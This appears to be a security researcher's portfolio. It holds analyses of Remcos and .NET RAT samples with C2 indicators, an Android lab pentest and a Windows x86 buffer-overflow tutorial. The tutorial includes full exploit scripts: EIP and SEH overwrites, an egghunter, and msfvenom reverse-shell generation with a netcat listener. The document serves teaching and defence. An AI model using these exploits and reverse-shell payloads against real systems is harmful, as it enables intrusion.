apt501

Security Researcher

X (@0xkhaled___) LinkedIn
Malware Analysis — Remcos RAT

Full reverse engineering of Remcos RAT. C2 extraction, keylogger targets, mutex, campaign ID.

Malware Analysis — AsyncRAT (jbo88)

AES key recovery, C2 verification, SurveillanceEx plugin analysis.

Mobile PT — Android

Frida hooking, root detection bypass, SSL pinning, DES/ECB credential extraction, 10 security findings.

Memory & Pwn Notes

Stack, heap, use-after-free, binary exploitation walkthrough with screenshots.

BOF Book — Windows x86

13 chapters. PE internals, JMP ESP, SEH exploits, egghunting, ROP, shellcode.

BOF Book — Linux x86

CPU architecture, GDB, shellcode, return addresses, exploit modification.

← Back

Remcos RAT — Windows_Security_Update.exe

PE32 · I386 RAT Keylogger Crypto stealer

A 526 KB 32-bit PE. The compile timestamp reads 2026-04-08, five sections. Once running it drops into a Remcos configuration: six C2 endpoints across two domains and a DDNS host, ports 2404 and 443, a keylogger that only wakes up on wallet and mail related window titles, and folders for screenshots and microphone recordings.

Hashes

MD5    0F569F749662F7691FE6C44ABBBC16B1
SHA1   3467D457902DA9168060D7FB53E0E0E956F924E8
SHA256 967B1F49CE0642E631EFCE3BD1C03D535E0403C852D2E9EBC166967F50B70352
Size   526336 bytes
MalwareBazaar ↗

PE Header

PE offset       280
Machine         0x014C (I386)
Magic           0x010B (PE32)
Sections        5
OptHeader       224
Characteristics 0x0102
Timestamp       0x69D633CF — 2026-04-08 10:54:07Z

Sections

Name VA VSize RawSize Charac
.text0x000010000x0005CC6B0x0005CE000x60000020
.rdata0x0005E0000x00019A760x00019C000x40000040
.data0x000780000x000060940x00000E000xC0000040
.rsrc0x0007F0000x000049F40x00004A000x40000040
.reloc0x000840000x000040980x000042000x42000040

Static Analysis

.text is 0x5CC6B bytes with a matching raw size — not packed. .data has characteristics 0xC0000040 (read + write) and its virtual size (0x6094) far exceeds raw (0xE00) — that's where the decrypted config lands at runtime. .rsrc holds the encrypted Remcos settings blob.

Dynamic Analysis

x32dbg at entry point
x32dbg — INT3 at the entry point

Loaded in x32dbg. The entry stub calls CRT init before the real main. Past initialisation, the sample decrypts settings, creates mutex Rmc-S9P1NO, and prepares folders: Screenshots, MicRecords, updates, logs. Keystrokes go to logs.dat.

The keylogger is selective — it only records when the foreground window title matches: notepad, wallet address, crypto, BTC, cpanel, trust wallet, tronlink, gmail, eth. This build targets cryptocurrency wallets and mailboxes.

Process Hacker
Process Hacker — SYN sent to 198.46.173.10:2404
Wireshark
Wireshark — SYN retransmissions on tcp.port == 2404

C2 Servers

connectmeinside.com:2404
vpn.connectmeinside.com:2404
alphabeta.ddns.net:2404
connectmeinside.com:443
vpn.connectmeinside.com:443
alphabeta.ddns.net:443

IP  198.46.173.10

IOCs

SHA256   967b1f49ce0642e631efce3bd1c03d535e0403c852d2e9ebc166967f50b70352
FILE     Windows_Security_Update.exe
MUTEX    Rmc-S9P1NO
IP       198.46.173.10
DOMAIN   connectmeinside.com  vpn.connectmeinside.com  alphabeta.ddns.net
PORT     2404  443
CAMPAIGN 10090A2143FD7F2F2C8119447814F9E
← Back

Obfuscated .NET RAT — jbo88 Campaign

.NET AES Config SurveillanceEx C2 LIVE

A .NET assembly with every type and method name replaced by base64 garbage. Under the noise: decrypt an embedded config with AES, connect to primary and backup host over 443, load a surveillance plugin. Group name jbo88.

dnSpy decryption
dnSpy — Rfc2898DeriveBytes → RijndaelManaged

Finding the Key

Searching dnSpy for Rfc2898DeriveBytes lands on a single static method taking a byte[] and a Guid. It derives a key from the GUID with 8 iterations and feeds it to RijndaelManaged. The GUID comes from the assembly's own GuidAttribute — the sample uses its identity as the password.

dnSpy GUID
dnSpy locals — GUID and byte[0x10] key at breakpoint

Extracted Config

GUID              f773f4c3-159b-40de-9ef5-11f65d2fb51d
Mutex             3696c625-56bd-4d38-b8b4-262ef52ab72e
DefaultGroup      jbo88
PrimaryHost       jbo88b.com:443
BackupHost        www.jbo88b.com:443
PrimaryDns        8.8.8.8
BackupDns         8.8.4.4
Plugin            SurveillanceEx Plugin
ClearZoneIdentifier  True
PreventSystemSleep   True
EnableDebugMode      True
C2 debug log
Debug console — resolve, connect, exception, disconnect, repeat

C2 — Confirmed Live

jbo88b.com resolved to 175.29.151.255 and www.jbo88b.com to 172.65.210.15, both on 443. TCP handshake completes every time — the server is up — but the client immediately throws "Packet size must be greater than 0" and disconnects. Infrastructure is live; the panel behind 443 is not responding correctly.

IOCs

MUTEX    3696c625-56bd-4d38-b8b4-262ef52ab72e
GUID     f773f4c3-159b-40de-9ef5-11f65d2fb51d
DOMAIN   jbo88b.com  www.jbo88b.com
IP       175.29.151.255  172.65.210.15
PORT     443
GROUP    jbo88
PLUGIN   SurveillanceEx Plugin
← Back

Mobile PT — Android

Android Frida Root Detection Bypass SSL Pinning DES/ECB

Full assessment of the org.android.cmpen application. The target is a deliberately vulnerable Android app with root detection, SSL pinning, exported activities, hardcoded credentials encrypted with DES/ECB, and API endpoints that can be exploited through header manipulation.

Target Application

CMPen App
org.android.cmpen — main screen with root check, status, and secret endpoint buttons

Dynamic Instrumentation — Frida

Frida spawn
Frida 17.15.3 — spawned org.android.cmpen on 172.18.192.1:27042, main thread resumed

Connected Frida to the app over USB via frida -U -f org.android.cmpen. The spawn-and-attach approach gives control before any initialization code runs, which is critical for hooking root detection and SSL pinning early enough to bypass them.

Extracted Secrets

Secret Value Location
DES KeyMyS3cReTres/values/strings.xml → encryption_key
DES Ciphertext0/zuN6HaWAf03GJHq6qs/w==Activity.onResume()
Decrypted credsd3v:Pa55w0Rd1!decrypt
Header tokenRaND0mFl4gUtil.header_data
Hardcoded hash125eb9c63ats45f4b224c41f6bc98ttwUtil.getInsecureActivityValue()
insecure-activity headerRaND0mFl4g-MyS3cReT-125eb9c63ats45f4b224c41f6bc98ttwUtil (composed)

API Endpoints

Endpoint Method Auth Notes
/server_statusGETNone
/super-secret-endpointGETNoneTriggers auth-bypass call on success
/auth-bypassGETNoneCalled after super-secret succeeds
/log_activityGETinsecure-activity headerComposed token required

Security Findings

1. Hardcoded DES credentials — d3v:Pa55w0Rd1! decrypted from ECB ciphertext with key in strings.xml. DES is broken crypto (56-bit key), ECB mode leaks patterns.
2. Exported FlagActivity without permission — any app on the device can launch it via adb shell am start -n org.android.cmpen/.FlagActivity
3. android:debuggable="true" — allows debugger attach and memory inspection at runtime.
4. android:allowBackup="true"adb backup can extract all app data including shared preferences and databases.
5. usesCleartextTraffic="true" — HTTP permitted despite HTTPS base URL, enabling MITM on unencrypted requests.
6. Root detection bypass — trivial 3-check detection. A single Frida one-liner bypasses it. Also skips detection entirely on emulators (isEmulator() returns true → isDeviceRooted() returns false).
7. SSL Pinning — v1.0 has code + XML pinning; final version only has XML. Both bypassed with Frida/Objection.
8. Hardcoded tokens in source — RaND0mFl4g, 125eb9c63ats45f4b224c41f6bc98ttw are static, never rotated.
9. Insecure crypto — DES/ECB with hardcoded key logged to Logcat via Log.d().
10. Sensitive data in Logcat — decryptData logs key and plaintext: key, output, and input all in Log.d().
← Back

Memory & Pwn

Stack, heap, use-after-free and binary exploitation notes.

01 — The Stack

Every thread gets one stack. When a function is called, the CPU pushes the return address, the function saves the caller's base pointer, then reserves room for locals by moving esp down. That block is the stack frame. On return, the frame is dropped and ret pops the saved address into eip.

Locals sit at lower addresses than the return address. Write past the end of a local buffer and you write upward — over the saved ebp, then over the return address. That is the classic stack buffer overflow.

push ebp            ; save caller frame
mov  ebp, esp       ; new frame base
sub  esp, 0x28      ; room for locals
...
mov  esp, ebp
pop  ebp
ret                 ; pops return address → eip

02 — The Heap

The heap is managed by an allocator (malloc/free). You request a size at runtime, get back a pointer, and the block lives until you free it. Each block carries metadata (size, in-use flag) right before the user data. Freed blocks are threaded into free lists. Two consequences for exploitation: a freed chunk's memory is reused, and a heap overflow corrupts the next chunk's metadata.

char *cfg = malloc(0x40);   // allocator returns a free 0x40 chunk
memcpy(cfg, blob, len);     // len > 0x40 → overwrites next chunk header
free(cfg);                  // chunk goes to a bin, memory still there
char *cmd = malloc(0x40);   // very likely the SAME address as cfg

03 — Use After Free

A program frees a heap object but keeps a pointer to it — a dangling pointer. Later, the program allocates something new of the same size and the allocator hands back the same address. The exploit is a reclaim: after the free, allocate an attacker-controlled buffer of the same size, fill it with your data, then trigger the code path that still uses the old pointer.

Use after free diagram
Session *s = malloc(sizeof *s);
s->on_data = handle_data;
free(s);                      // s is now dangling
char *buf = malloc(64);       // same size → same address
recv(sock, buf, 64, 0);       // attacker fills first 8 bytes
s->on_data(buf);              // stale call → eip = attacker data

04 — Pwn

Every pwn challenge is the same four moves: find the bug, gain control of a pointer or the instruction pointer, defeat mitigations, land a payload.

Mitigations

Mitigation Stops Bypass
NX / DEPStack shellcodeROP → mprotect / VirtualProtect
ASLRHardcoded addressesInfo leak, partial overwrite, brute force
Stack CanarySequential overwriteLeak canary, format string, overwrite GOT
PIEKnown binary baseLeak .text address, partial overwrite
RELROGOT overwritePartial RELRO: GOT still writable
from pwn import *
p = process('./vuln')
offset = cyclic_find(0x61616167)
payload = flat({offset: p32(win_addr)})
p.sendline(payload)
p.interactive()

05 — Windows BOF Walkthrough

Real walkthrough against Free CD to MP3 Converter 3.1 — no ASLR, no DEP, no SafeSEH. The app copies a registration code into a fixed-size stack buffer with no length check.

Attach Debugger

x32dbg
x32dbg — main CPU view ready
Attach dialog
Attaching to cdextract at PID 5764

ERC Plugin

ERC plugin
ERC plugin — module filtering flags

Fuzzing

Registration fuzzing
Registration fields filled with \x41 bytes
fuzz.wav
Alternative vector: crafted fuzz.wav

EIP Control Confirmed

EIP=41414141
EIP=41414141, EBP=41414141 — full control
Stack dump
Stack dump — 41414141 throughout, SEH record overwritten

Shellcode Result

calc.exe
calc.exe opened by the shellcode exploit
cmd.exe Admin
cmd.exe spawned with Administrator privileges
← Back
A Practical Guide to Win32 Binary Exploitation

Stack-Based Buffer Overflows
on Windows x86

From PE internals to SEH exploits and beyond
Win32 · PE · SEH · Immunity Debugger · mona.py
Part I
Foundations
01

x86 Architecture & Windows Internals

The x86 register set is identical on Windows and Linux — the hardware doesn't change. What changes is how the operating system organizes the process: the PE binary format, the Win32 API, Structured Exception Handling (SEH), and key data structures like the PEB and TEB.

x86 Registers Recap

The registers critical to Windows exploitation are the same as Linux. EIP is the ultimate target; ESP and EBP manage the stack frame. On Windows, understanding FS:[0] is additionally crucial — it points to the current SEH chain, a Windows-specific exploit target.

x86 REGISTERS — WINDOWS EXPLOITATION CONTEXT EAX Return value / syscall number Win32 API return values EBX Base / general purpose ECX Counter / thiscall: 'this' pointer C++ method calls EDX Data / high 32 bits of multiply ESI Source index EDI Destination index ESP Stack Pointer → top of stack JMP ESP target EBP Base Pointer → frame reference EIP Instruction Pointer — OUR TARGET ★ FS Segment Register FS:[0x00] → SEH chain head FS:[0x18] → TEB (self-ref) FS:[0x30] → PEB pointer Windows-specific, critical for exploits PEB / TEB TEB: Thread Environment Block PEB: Process Environment Block PEB→Ldr→loaded DLL list SEH Chain Structured Exception Handling Exploitable: overwrite handler ptr
Figure 1.1 — x86 Registers in Windows Exploitation Context

PE File Format

Windows executables use the Portable Executable (PE) format instead of Linux's ELF. The PE structure determines how the binary is loaded into memory:

ComponentPurpose
DOS HeaderLegacy header, starts with MZ (0x4D5A). Contains e_lfanew offset to PE header.
PE HeaderStarts with PE\0\0. Machine type, number of sections, timestamp.
Optional HeaderEntry point (AddressOfEntryPoint), ImageBase, section alignment, DLL characteristics.
.textExecutable code. Read + Execute.
.rdataRead-only data: import tables, strings, constants.
.dataInitialized read-write global/static variables.
.rsrcResources: icons, dialogs, version info.
.relocRelocation table (needed for ASLR).

Key Windows Data Structures

Windows shellcode and advanced exploits rely on traversing internal OS structures:

  • TEB (Thread Environment Block) — per-thread structure at FS:[0x18]. Contains the SEH chain pointer at offset 0x00 and the PEB pointer at offset 0x30.
  • PEB (Process Environment Block) — per-process structure. Contains PEB→Ldr at offset 0x0C, which holds the linked list of loaded DLLs — this is how shellcode finds kernel32.dll without hardcoded addresses.
02

Windows Process Memory Layout

When a PE binary runs on Windows, the loader maps it into a 4GB virtual address space (on 32-bit). The layout differs from Linux in its organization, the presence of the PEB/TEB structures, and the way DLLs are loaded.

WINDOWS x86 PROCESS VIRTUAL MEMORY MAP KERNEL SPACE ntoskrnl.exe, HAL, drivers 0x80000000 0x7FFFFFFF TEB / PEB / Shared Data Thread/Process Environment Blocks 0x7FFD_E000 STACK Local vars, SEH records, return addrs Default: 1 MB reserved per thread ↓ Grows downward ↓ RW- LOADED DLLs ntdll.dll ~0x7C900000 kernel32.dll ~0x7C800000 msvcrt.dll, user32.dll, ws2_32.dll ... JMP ESP gadgets are found here R-X Free / Unmapped HEAP(S) HeapCreate(), HeapAlloc(), malloc() ↑ Grows upward ↑ RW- .data / .bss Global/static variables (read-write) RW- .rdata — IAT, strings, constants (read-only) .text (CODE) Compiled program instructions 0x00400000 R-X ImageBase (default)
Figure 2.1 — Windows x86 Process Memory Layout

Key Differences from Linux

AspectLinuxWindows
Binary formatELFPE (Portable Executable)
Default ImageBase0x080480000x00400000
System callsint 0x80 / sysenterVia ntdll.dll stubs
Shared libraries.so files.dll files
Exception handlingSignal handlersSEH chain on stack
Thread-local storage%gs segment%fs → TEB
API resolutionPLT/GOT (lazy binding)IAT (Import Address Table)
Important: The default ImageBase 0x00400000 starts with a null byte. This means the .text section addresses contain \x00 and cannot be used directly in string-based overflows. This is why we use JMP ESP gadgets from loaded DLLs whose addresses don't contain null bytes.
03

The Stack & Calling Conventions

The Windows stack works identically to Linux at the hardware level — LIFO, grows downward, PUSH/POP modify ESP. The critical difference is in calling conventions and the presence of SEH records embedded in stack frames.

stdcall vs cdecl

Windows uses two primary calling conventions:

ConventionUsed ByArgsCleanup
stdcallWin32 API (kernel32, user32, etc.)Right-to-left on stackCallee cleans (ret N)
cdeclC runtime (msvcrt), user codeRight-to-left on stackCaller cleans (add esp, N)
thiscallC++ member functions (MSVC)this in ECX, rest on stackCallee cleans

The stdcall distinction matters for exploitation: ret 8 pops the return address and removes 8 bytes of arguments, which affects ROP chain construction.

Stack Frame with SEH

On Windows, functions that use __try/__except (or are compiled with SEH support) have an SEH record embedded in their stack frame. This record is a linked list node containing a pointer to the next SEH record and a pointer to the exception handler function.

WINDOWS STACK FRAME WITH SEH High Address ... caller's frame ... Arguments (pushed by caller) Right-to-left order: arg3, arg2, arg1 EBP+8 RETURN ADDRESS Saved EIP — pushed by CALL EBP+4 Saved EBP EBP+0 ←EBP SEH RECORD nSEH (next ptr) SE Handler ★ EBP-8 int local_var = 0 EBP-12 char buffer[256] Overflow writes upward through: locals → SEH → EBP → RET → args Two exploit paths: overwrite EIP or overwrite SEH EBP-268 ← ESP Low Address OVERFLOW DIRECTION
Figure 3.1 — Windows Stack Frame with SEH Record
Two attack surfaces: Unlike Linux where only the return address matters, Windows offers two overwrite targets: the saved EIP (direct EIP overwrite, same as Linux) and the SEH handler pointer (SEH-based exploit, Windows-specific). SEH exploits work even when direct EIP overwrite is protected by /GS cookies.

Function Prologue (MSVC)

; Typical MSVC prologue with SEH
push   ebp
mov    ebp, esp
push   0xFFFFFFFF          ; SEH try level (-1 = none)
push   offset __except_handler3
mov    eax, fs:[0]         ; current SEH head
push   eax                  ; save previous SEH
mov    fs:[0], esp         ; install new SEH
sub    esp, 0x108           ; allocate locals
Part II
The Vulnerability
04

Buffer Overflows on Windows

x32dbg main interface
x32dbg — ready to debug the target application
Attach dialog
Attaching to cdextract (Free CD to MP3 Converter) at PID 5764

The mechanics of a buffer overflow are identical to Linux: write more data to a stack buffer than it can hold, and the excess overwrites adjacent values on the stack. On Windows, the same dangerous C functions exist, plus Windows-specific API functions that are equally unsafe.

Dangerous Functions

Unsafe (CRT)Unsafe (Win32 API)Safer Alternative
strcpy()lstrcpyA()StringCchCopy()
strcat()lstrcatA()StringCchCat()
sprintf()wsprintfA()StringCchPrintf()
gets()fgets()
wcscpy()lstrcpyW()StringCchCopyW()

Vulnerable Program

#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

void handle_client(char *data) {
    char buffer[256];
    strcpy(buffer, data);  // overflow!
}

int main() {
    WSADATA wsa;
    WSAStartup(MAKEWORD(2,2), &wsa);

    SOCKET s = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr = {AF_INET, htons(9999)};
    addr.sin_addr.s_addr = INADDR_ANY;

    bind(s, (struct sockaddr*)&addr, sizeof(addr));
    listen(s, 5);

    SOCKET client = accept(s, NULL, NULL);
    char data[2048];
    int len = recv(client, data, 2048, 0);
    data[len] = 0;
    handle_client(data);

    closesocket(client);
    WSACleanup();
    return 0;
}

Compiling with Protections Disabled

:: Visual Studio Developer Command Prompt
cl /GS- /DYNAMICBASE:NO /NXCOMPAT:NO vuln.c ws2_32.lib

:: Or with MinGW
gcc -m32 -fno-stack-protector -Wl,--no-dynamicbase -z execstack -o vuln.exe vuln.c -lws2_32
MSVC FlagEffect
/GS-Disable stack cookies (buffer security check)
/DYNAMICBASE:NODisable ASLR
/NXCOMPAT:NODisable DEP (make stack executable)
/SAFESEH:NODisable SafeSEH
05

Taking Control of EIP

Registration dialog with AAAA overflow
Fuzzing the registration fields with \x41 bytes
Opening fuzz.wav
Alternative vector: loading a crafted fuzz.wav triggers the same overflow
Registers showing EIP=41414141
Registers after crash — EIP=41414141, EBP=41414141. Full control confirmed.
Stack filled with 41414141
Stack dump — 41414141 throughout, SEH_Record pointer overwritten
ERC plugin output
ERC plugin — module filtering for exploit development

The process for finding the EIP offset is the same as Linux: send a cyclic pattern, observe the value in EIP at crash, and calculate the offset. On Windows, the primary tool for this is Immunity Debugger with the mona.py plugin.

Step 1: Crash with a Pattern

import socket

# Generate pattern with mona or msf-pattern_create
pattern = b"Aa0Aa1Aa2Aa3..."  # 500 bytes

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.100", 9999))
s.send(pattern)
s.close()

Step 2: Find Offset with mona.py

:: In Immunity Debugger command bar:
!mona pattern_create 500       // generates pattern
!mona pattern_offset 0x39694438 // finds offset from EIP value

:: Output:
[+] Exact match at offset 268

Step 3: Verify Control

import socket, struct

offset = 268
eip    = b"BBBB"  # 0x42424242

payload = b"A" * offset + eip + b"C" * 200

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.100", 9999))
s.send(payload)
s.close()

# In Immunity: EIP = 42424242 ✓
# ESP points to the "CCCC..." after EIP
CONTROLLED EIP OVERWRITE — WINDOWS Payload structure: "A" × 268 (padding) fills buffer + saved EBP + alignment EIP 4 bytes SHELLCODE ESP points HERE after ret KEY INSIGHT: After RET executes, ESP points to the data immediately AFTER the EIP overwrite. If we set EIP to a JMP ESP instruction, execution jumps to our shellcode. No address guessing needed. After ret: EIP = JMP ESP addr → JMP ESP executes → shellcode runs ★
Figure 5.1 — EIP Control and JMP ESP Strategy
Part III
Exploitation
06

The JMP ESP Technique

On Linux, we used NOP sleds and guessed stack addresses. On Windows, a far more reliable technique exists: JMP ESP. Instead of pointing EIP at a guessed stack address, we point it at a JMP ESP instruction that already exists in a loaded DLL. Since ESP points to our shellcode after ret executes, the JMP ESP redirects execution precisely to our payload.

Why JMP ESP Works

JMP ESP EXECUTION FLOW Step 1: Before RET AAAA... (padding) JMP ESP addr shellcode... ← ESP here Step 2: RET pops EIP AAAA... (padding) shellcode... ← ESP now here EIP = 0x7C941EED (address of JMP ESP) Step 3: JMP ESP → CPU jumps to ESP shellcode runs! EIP → kernel32.dll @ 0x7C800000 0x7C941EED: FF E4 ; jmp esp // This instruction exists in DLL code — we just redirect execution to it
Figure 6.1 — JMP ESP Redirection Flow

Finding JMP ESP with mona.py

:: In Immunity Debugger:
!mona jmp -r esp

:: Output (example):
0x7c941eed : jmp esp | {PAGE_EXECUTE_READ} [kernel32.dll]
0x7c86467b : jmp esp | {PAGE_EXECUTE_READ} [kernel32.dll]
0x7e429353 : jmp esp | {PAGE_EXECUTE_READ} [user32.dll]

:: Filter: exclude modules with ASLR, SafeSEH, or null bytes:
!mona jmp -r esp -cpb "\x00\x0a\x0d"
Critical: The JMP ESP address must not contain bad characters (null bytes \x00, newline \x0a, carriage return \x0d). These bytes terminate string copies. Use mona's -cpb flag to filter them out.

Alternative Gadgets

If JMP ESP is unavailable or has bad bytes, equivalent instructions work:

InstructionOpcodeEffect
JMP ESPFF E4Jump directly to ESP
CALL ESPFF D4Push return addr, jump to ESP
PUSH ESP; RET54 C3Push ESP onto stack, ret pops it into EIP

Bad Characters

Before building the final payload, identify all byte values that get mangled or truncated by the application. Send all 256 byte values and check which ones arrive intact:

badchars = b""
for i in range(1, 256):
    badchars += bytes([i])

# Send: padding + "BBBB" (EIP) + badchars
# In Immunity, right-click ESP → Follow in Dump
# Compare: any byte missing or replaced = bad char

:: mona can automate comparison:
!mona bytearray -cpb "\x00"
!mona compare -f C:\mona\bytearray.bin -a <ESP address>
07

Windows Shellcode

Windows shellcode is fundamentally different from Linux shellcode. Linux shellcode invokes system calls directly via int 0x80. Windows shellcode must call Win32 API functions (like WinExec or CreateProcessA), which means it must first find those functions at runtime by walking internal OS data structures.

PEB Walking: Finding kernel32.dll

Windows shellcode locates kernel32.dll by traversing the PEB's loaded module list:

PEB WALK — FINDING kernel32.dll BASE ADDRESS TEB FS:[0x30] PEB offset 0x0C PEB_LDR_DATA InMemoryOrderModuleList offset 0x14 ntdll.dll 1st entry kernel32.dll ★ 2nd entry → DllBase application.exe 3rd entry ; PEB walk to get kernel32.dll base address mov eax, [fs:0x30] ; EAX = PEB mov eax, [eax+0x0C] ; EAX = PEB→Ldr mov eax, [eax+0x14] ; EAX = InMemoryOrderModuleList (1st = ntdll) mov eax, [eax] ; EAX = 2nd entry (kernel32) mov eax, [eax+0x10] ; EAX = kernel32 DllBase ★
Figure 7.1 — PEB Walk to Resolve kernel32.dll Base Address

WinExec("calc.exe") Shellcode

A common proof-of-concept shellcode opens calc.exe:

# Generate with msfvenom:
msfvenom -p windows/exec CMD=calc.exe -f python -b '\x00\x0a\x0d' EXITFUNC=thread

# Or for a reverse shell:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.50 LPORT=443 \
         -f python -b '\x00\x0a\x0d' -e x86/shikata_ga_nai

Custom Shellcode Structure

Hand-written Windows shellcode follows this pattern:

  1. PEB walk — find kernel32.dll base address
  2. Parse PE export table — locate GetProcAddress and LoadLibraryA
  3. Resolve target APIs — use GetProcAddress to find WinExec, CreateProcessA, or WSASocketA
  4. Call the APIs — execute the payload (spawn calc, reverse shell, etc.)
Encoders: Shellcode with bad characters is processed by an encoder like shikata_ga_nai, which XOR-encodes the payload and prepends a decoder stub. The stub decodes the shellcode in memory before executing it. The encoded version avoids all specified bad bytes.
08

SEH-Based Exploits

Structured Exception Handling (SEH) is a Windows-specific mechanism for handling hardware and software exceptions. Each thread maintains a linked list of exception handlers on the stack. When an exception occurs, Windows walks this chain, calling each handler until one handles the exception. An overflow that corrupts an SEH record allows code execution through an entirely different path than overwriting EIP directly.

SEH Chain Structure

Each SEH record on the stack has two 4-byte fields:

  • nSEH (Next SEH) — pointer to the next record in the chain (or 0xFFFFFFFF for the last)
  • SE Handler — pointer to the exception handler function
SEH EXPLOITATION — POP POP RET TECHNIQUE Normal SEH chain on stack: nSEH → next Handler func nSEH → next Handler func nSEH = 0xFFFFFFFF Default handler After overflow — corrupted SEH: "A" × N (padding to reach SEH) nSEH: JMP 06 Handler: PPR ★ shellcode Exploitation flow: ① Exception occurs (access violation) ② Handler called POP POP RET gadget ③ Lands on nSEH JMP 06 (short jump) ④ SHELLCODE executes! Why POP POP RET? When the OS calls the SE Handler, it places 3 items on the stack before jumping to it: [ESP+0]: ptr to EXCEPTION_RECORD [ESP+4]: ptr to ERR (EstablisherFrame) [ESP+8]: ptr to CONTEXT_RECORD ESP+8 points near our nSEH on the stack. POP removes ESP+0, POP removes ESP+4, RET pops ESP+8 into EIP → lands on nSEH. nSEH contains JMP 06 → jumps over Handler to shellcode.
Figure 8.1 — SEH Exploitation with POP POP RET

The SEH Exploit Payload

import socket, struct

seh_offset = 312  # offset to nSEH (find with mona)

# nSEH: short jump forward (JMP 06 = \xeb\x06)
nseh = b"\xeb\x06\x90\x90"

# SE Handler: POP POP RET from a non-SafeSEH module
# !mona seh -cpb "\x00\x0a\x0d"
handler = struct.pack("<I", 0x10015FFE)

# msfvenom -p windows/shell_reverse_tcp ...
shellcode = b"\xdb\xc0\xd9\x74\x24..."  # encoded

payload  = b"A" * seh_offset    # padding to nSEH
payload += nseh                  # JMP 06 over handler
payload += handler               # POP POP RET address
payload += b"\x90" * 16         # NOP sled
payload += shellcode             # reverse shell

s = socket.socket()
s.connect(("192.168.1.100", 9999))
s.send(payload)
s.close()
SafeSEH: The POP POP RET gadget must come from a module compiled without SafeSEH. Use !mona nosafeseh to list eligible modules.
09

Egghunting

Sometimes the buffer you overflow is too small to hold your full shellcode (a reverse shell can be 350+ bytes). Egghunting is a two-stage technique: place the full shellcode somewhere else in the process memory (a different buffer, a header field, etc.), and use a tiny "egg hunter" stub in the overflow to find and execute it.

How It Works

  1. Prepend a unique egg (an 8-byte marker, e.g. w00tw00t) to the full shellcode
  2. Send the full shellcode via a different input channel (another field, separate request)
  3. In the overflow, place a small egg hunter (~32 bytes) that scans all memory for the egg
  4. When found, the egg hunter jumps to the shellcode immediately after the egg

NtAccessCheckAndAuditAlarm Egg Hunter

The most reliable 32-byte egg hunter for Windows. Uses the NtAccessCheckAndAuditAlarm syscall to safely probe memory pages without crashing on unreadable pages:

# Generate with mona:
!mona egg -t w00t

# Output (32 bytes):
egghunter = (
    b"\x66\x81\xca\xff\x0f"   # or dx, 0x0fff    (page align)
    b"\x42"                   # inc edx          (next byte)
    b"\x52"                   # push edx         (save addr)
    b"\x6a\x02"               # push 2           (syscall arg)
    b"\x58"                   # pop eax          (EAX = 2)
    b"\xcd\x2e"               # int 0x2e         (syscall)
    b"\x3c\x05"               # cmp al, 5        (ACCESS_VIOLATION?)
    b"\x5a"                   # pop edx          (restore addr)
    b"\x74\xef"               # je short -17     (bad page, next)
    b"\xb8\x77\x30\x30\x74"   # mov eax, "w00t"  (egg tag)
    b"\x8b\xfa"               # mov edi, edx     (search ptr)
    b"\xaf"                   # scasd            (compare [edi])
    b"\x75\xea"               # jne short -22    (no match, next)
    b"\xaf"                   # scasd            (compare 2nd tag)
    b"\x75\xe7"               # jne short -25    (no match, next)
    b"\xff\xe7"               # jmp edi          (FOUND! jump to shellcode)
)

Exploit Structure

egg = b"w00tw00t"

# Stage 1: Send full shellcode via a different input
stage1 = egg + shellcode  # placed in a larger buffer elsewhere

# Stage 2: Overflow with the small egg hunter
stage2  = b"A" * offset
stage2 += jmp_esp_addr
stage2 += egghunter       # only 32 bytes needed!
The egg tag is repeated twice (w00tw00t) to avoid the egg hunter finding itself in memory. Since the hunter contains the tag once (in mov eax, "w00t"), it requires two consecutive occurrences to confirm a match.
10

Writing a Complete Exploit

Let's walk through a complete exploit against the vulnerable server from Chapter 4, combining everything: offset discovery, bad character analysis, JMP ESP, and shellcode.

Complete Exploit Script

import socket
import struct

# ── Configuration ──
target_ip   = "192.168.1.100"
target_port = 9999
offset      = 268

# JMP ESP in kernel32.dll (no ASLR, no bad chars)
# Found via: !mona jmp -r esp -cpb "\x00\x0a\x0d"
jmp_esp = struct.pack("<I", 0x7c941eed)

# Bad characters: \x00\x0a\x0d

# msfvenom -p windows/shell_reverse_tcp
#   LHOST=192.168.1.50 LPORT=443
#   -f python -b '\x00\x0a\x0d'
#   EXITFUNC=thread
shellcode  = b"\xdb\xc0\xd9\x74\x24\xf4\x5b\x53"
shellcode += b"\x59\x49\x49\x49\x49\x49\x49\x49"
shellcode += b"\x49\x49\x49\x43\x43\x43\x43\x43"
# ... (351 bytes total, truncated for display)

# ── Build Payload ──
payload  = b"A" * offset        # padding to EIP
payload += jmp_esp               # overwrite EIP → JMP ESP
payload += b"\x90" * 16          # NOP sled (decoder needs room)
payload += shellcode             # reverse shell payload

# ── Send ──
print(f"[*] Sending payload ({len(payload)} bytes)...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(payload)
s.close()
print("[+] Payload sent. Check your listener!")

Exploit Development Workflow

1. FUZZ Find crash input length 2. OFFSET !mona pattern EIP control 3. BAD CHARS !mona compare all 256 bytes 4. JMP ESP !mona jmp -r esp no bad chars 5. SHELLCODE msfvenom -b encoded payload WIN # Start listener BEFORE sending payload: $ nc -lvnp 443 listening on [any] 443 ... connect to [...] from (UNKNOWN) [192.168.1.100]
Figure 10.1 — Windows Exploit Development Workflow
NOP sled before shellcode: Encoded shellcode (e.g., shikata_ga_nai) uses a decoder stub that needs a few bytes of working space before the shellcode body. A 16-byte NOP sled gives the decoder room to operate. Without it, the decoder may corrupt its own instructions.
Part IV
Defenses & Tools
11

Windows Protection Mechanisms

Modern Windows systems layer multiple protections that collectively make stack buffer overflow exploitation significantly harder. Understanding each mechanism is essential for both bypassing them in authorized testing and implementing effective defenses.

